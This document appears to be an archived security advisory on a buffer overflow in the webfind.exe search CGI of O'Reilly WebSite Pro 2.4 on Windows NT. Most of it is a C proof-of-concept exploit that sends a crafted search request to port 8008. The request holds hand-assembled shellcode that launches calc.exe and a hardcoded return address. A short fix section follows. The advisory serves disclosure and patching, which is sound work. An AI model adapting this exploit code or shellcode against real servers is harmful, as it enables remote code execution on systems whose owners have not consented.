|
COMMAND Website SYSTEMS AFFECTED Windows NT running Website Pro 2.4 PROBLEM Following is based on a Cerberus Information Security Advisory. The Cerberus Security Team has discovered a buffer overflow in one of the executables that comes with O'Reilly's WebSite Pro. This overflow can be exploited by an attacker to execute arbitrary code. If webfind.exe receives a search string of over 1024 bytes then it access violates. This overflow is exploitable, and proof of concept is supplied below. Note that this vulnerability is the same one discovered by COVER in: http://oliver.efri.hr/~crv/security/bugs/Others/website2.html Proof of Concept: /*******************************************************************************/ /* Buffer overrun in WebSite Pro's webfind.exe */ /* */ /* */ /* This is "proof of concept" code which will launch a window of calc.exe on */ /* the server's machine. This code will _not_ work as is. When the search */ /* request is made two packets are sent by the client computer. The first */ /* should be sniffed and copied and pasted straight into buffer 1. Then for */ /* second packet sniff again, and copy the end of the data packet from */ /* "&indexname" onwards (This will vary from server to server) */ /* */ /* Robert Horton ( hyphen@devilnet-uk.net ) */ /* */ /* June 2000 */ /* */ /* usage: program.exe <hostname> */ /*******************************************************************************/ #include <windows.h> #include <winsock.h> #include <string.h> #include <stdio.h> struct sockaddr_in sa; struct hostent *he; SOCKET sock; char *buffer1 ="\x050\x04F\x053\x054\x020\x02F\x063\x067\x069\x02D\x0\73\x068\x06C\x02F\x077\x065\x062\x066\x069\x06E\x064\x02E\x065\x078\x065\x020\x0\ 48\x054\x054\x050\x02F\x031\x02E\x031\x00D\x00A\x041\x063\x063\x065\x070\x074\x0\ 3A\x020\x069\x06D\x061\x067\x065\x02F\x067\x069\x066\x02C\x020\x069\x06D\x061\x0\ 67\x065\x02F\x078\x02D\x078\x062\x069\x074\x06D\x061\x070\x02C\x020\x069\x06D\x0\ 61\x067\x065\x02F\x06A\x070\x065\x067\x02C\x020\x069\x06D\x061\x067\x065\x02F\x0\ 70\x06A\x070\x065\x067\x02C\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x0\ 6F\x06E\x02F\x076\x06E\x064\x02E\x06D\x073\x02D\x070\x06F\x077\x065\x072\x070\x0\ 6F\x069\x06E\x074\x02C\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x0\ 6E\x02F\x076\x06E\x064\x02E\x06D\x073\x02D\x065\x078\x063\x065\x06C\x02C\x020\x0\ 61\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x06E\x02F\x06D\x073\x077\x06F\x0\ 72\x064\x02C\x020\x02A\x02F\x02A\x00D\x00A\x052\x065\x066\x065\x072\x065\x072\x0\ 3A\x020\x068\x074\x074\x070\x03A\x02F\x02F\x031\x030\x02E\x032\x02E\x032\x02E\x0\ 38\x032\x03A\x038\x030\x030\x038\x02F\x063\x067\x069\x02D\x073\x068\x06C\x02F\x0\ 77\x065\x062\x066\x069\x06E\x064\x02E\x065\x078\x065\x00D\x00A\x041\x063\x063\x0\ 65\x070\x074\x02D\x04C\x061\x06E\x067\x075\x061\x067\x065\x03A\x020\x065\x06E\x0\ 2D\x067\x062\x00D\x00A\x043\x06F\x06E\x074\x065\x06E\x074\x02D\x054\x079\x070\x0\ 65\x03A\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x06E\x02F\x078\x0\ 2D\x077\x077\x077\x02D\x066\x06F\x072\x06D\x02D\x075\x072\x06C\x065\x06E\x063\x0\ 6F\x064\x065\x064\x00D\x00A\x041\x063\x063\x065\x070\x074\x02D\x045\x06E\x063\x0\ 6F\x064\x069\x06E\x067\x03A\x020\x067\x07A\x069\x070\x02C\x020\x064\x065\x066\x0\ 6C\x061\x074\x065\x00D\x00A\x055\x073\x065\x072\x02D\x041\x067\x065\x06E\x074\x0\ 3A\x020\x04D\x06F\x07A\x069\x06C\x06C\x061\x02F\x034\x02E\x030\x020\x028\x063\x0\ 6F\x06D\x070\x061\x074\x069\x062\x06C\x065\x03B\x020\x04D\x053\x049\x045\x020\x0\ 35\x02E\x030\x031\x03B\x020\x057\x069\x06E\x064\x06F\x077\x073\x020\x04E\x054\x0\ 20\x035\x02E\x030\x03B\x020\x044\x069\x067\x045\x078\x074\x029\x00D\x00A\x048\x0\ 6F\x073\x074\x03A\x020\x031\x030\x02E\x032\x02E\x032\x02E\x038\x032\x03A\x038\x0\ 30\x030\x038\x00D\x00A\x043\x06F\x06E\x074\x065\x06E\x074\x02D\x04C\x065\x06E\x0\ 67\x074\x068\x03A\x020\x031\x031\x032\x031\x00D\x00A\x043\x06F\x06E\x06E\x065\x0\ 63\x074\x069\x06F\x06E\x03A\x020\x04B\x065\x065\x070\x02D\x041\x06C\x069\x076\x0\ 65\x00D\x00A\x00D\x00A"; char buffer2[2000]; char *end_variables = "\x026\x069\x06E\x064\x065\x078\x06E\x061\x06D\x065\x03D\x0\ 69\x06E\x064\x065\x078\x031\x026\x06D\x061\x078\x068\x069\x074\x073\x03D\x041\x0\ 6C\x06C\x026\x073\x065\x061\x072\x063\x068\x069\x06E\x03D\x043\x06F\x06D\x070\x0\ 6C\x065\x074\x065\x02B\x046\x069\x06C\x065"; unsigned int addr; char hostname[256]; int startWSOCK(char *swhost) { int err=0; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { return 0; } if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 ) { WSACleanup( ); return 0; } if (isalpha(swhost[0])) { he = gethostbyname(swhost); } else { addr = inet_addr(swhost); he = gethostbyaddr((char *)&addr,4,AF_INET); } if (he == NULL) { return 0; } sa.sin_addr.s_addr=INADDR_ANY; sa.sin_family=AF_INET; memcpy(&sa.sin_addr,he->h_addr,he->h_length); return 1; } int sendString() { int snd, rcv, err, count =0, wui=0, in=0, num=0, b=0,inter =0; char resp[20000]; char logoff[80]; /*Construct second buffer to send First add "keywords=" */ _snprintf(buffer2, 9,"\x06B\x065\x079\x077\x06F\x072\x064\x073\x03D"); /* Add exploit code*/ count = 9; buffer2[count] = 0x90; /*nop*/ count++; buffer2[count] = 0x55; /*push ebp*/ count++; buffer2[count] = 0x8b; /*mov ebp, esp*/ count++; buffer2[count] = 0xec; count++; buffer2[count] = 0x33; /*xor esi, esi*/ count++; buffer2[count] = 0xf6; count++; buffer2[count] = 0x56; /*push esi*/ count++; buffer2[count] = 0xb8; /*mov eax, 0x77f1a986*/ count++; buffer2[count] = 0x86; count++; buffer2[count] = 0xa9; count++; buffer2[count] = 0xf1; count++; buffer2[count] = 0x77; count++; buffer2[count] = 0x68; /*push ".exe"*/ count++; buffer2[count] = 0x2e; count++; buffer2[count] = 0x65; count++; buffer2[count] = 0x78; count++; buffer2[count] = 0x65; count++; buffer2[count] = 0x68; /*push "calc"*/ count++; buffer2[count] = 0x63; count++; buffer2[count] = 0x61; count++; buffer2[count] = 0x6c; count++; buffer2[count] = 0x63; count++; buffer2[count] = 0x8b; /*mov ebx, esp*/ count++; buffer2[count] = 0xdc; count++; buffer2[count] = 0xbe; /*mov esi, ffffffff*/ count++; buffer2[count] = 0xff; count++; buffer2[count] = 0xff; count++; buffer2[count] = 0xff; count++; buffer2[count] = 0xff; count++; buffer2[count] = 0x83; /*sub esi, f5ffffff*/ count++; buffer2[count] = 0xee; count++; buffer2[count] = 0xf5; count++; buffer2[count] = 0x56; /*push esi*/ count++; buffer2[count] = 0x53; /*push ebx*/ count++; buffer2[count] = 0xff; /*call eax*/ count++; buffer2[count] = 0xd0; count++; buffer2[count] = 0x33; /*xor eax, eax*/ count++; buffer2[count] = 0xc0; count++; buffer2[count] = 0x50; /*push eax*/ count++; buffer2[count] = 0xb8; /*mov eax, 0x77f19f92*/ count++; buffer2[count] = 0x92; count++; buffer2[count] = 0x9f; count++; buffer2[count] = 0xf1; count++; buffer2[count] = 0x77; count++; buffer2[count] = 0xff; /*call eax*/ count++; buffer2[count] = 0xd0; /*should exit*/ count++; buffer2[count] = 0xcc; /*breakpoint*/ count++; /*add some filler characters*/ while(count < 1009) { buffer2[count] = 0x41; count++; } /*address in memory of "jump ebp"*/ buffer2[count] = 0xdb; count ++; buffer2[count] = 0xcf; count ++; buffer2[count] = 0xf3; count ++; buffer2[count] = 0x77; count ++; /*more fillers*/ while(count < 1080) { buffer2[count] = 0x41; count ++; } /*finally add final variables to string these will vary depending on the server and index searched (i.e. copy and paste from a sniffer */ _snprintf(buffer2 + 1080, 2000, end_variables); /*connect and send*/ sa.sin_port=htons(8008); sock=socket(AF_INET,SOCK_STREAM,0); bind(sock,(struct sockaddr *)&sa,sizeof(sa)); if (sock==INVALID_SOCKET) { printf ("invalid socket\n"); closesocket(sock); return 0; } if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) { printf("Couldn't connect"); closesocket(sock); return 0; } else { snd=send(sock, buffer1,strlen(buffer1),0); snd=send(sock, buffer2,strlen(buffer2),0); rcv = recv(sock,resp,2001,0); closesocket(sock); } return 0; } int main(int argc, char *argv[]) { int chk=0,count =0; if(argc !=2) return 0; strncpy(hostname, argv[1], 256 ); if(startWSOCK(hostname)) { sendString(); } return 0; } SOLUTION O'Reilly were informed of this on the 7th of June 2000, and the issue has been fixed in the 2.5 release available at http://website.oreilly.com/support/software/wsp2x_updates.cfm O'Reilly have also said that they will test the fixed dll the ensure that it will work with previous versions, so that it is just a case of replacing the updated file. Download release 2.5 or the updated dll (libcgi.dll). If you are not using webfind.exe delete it.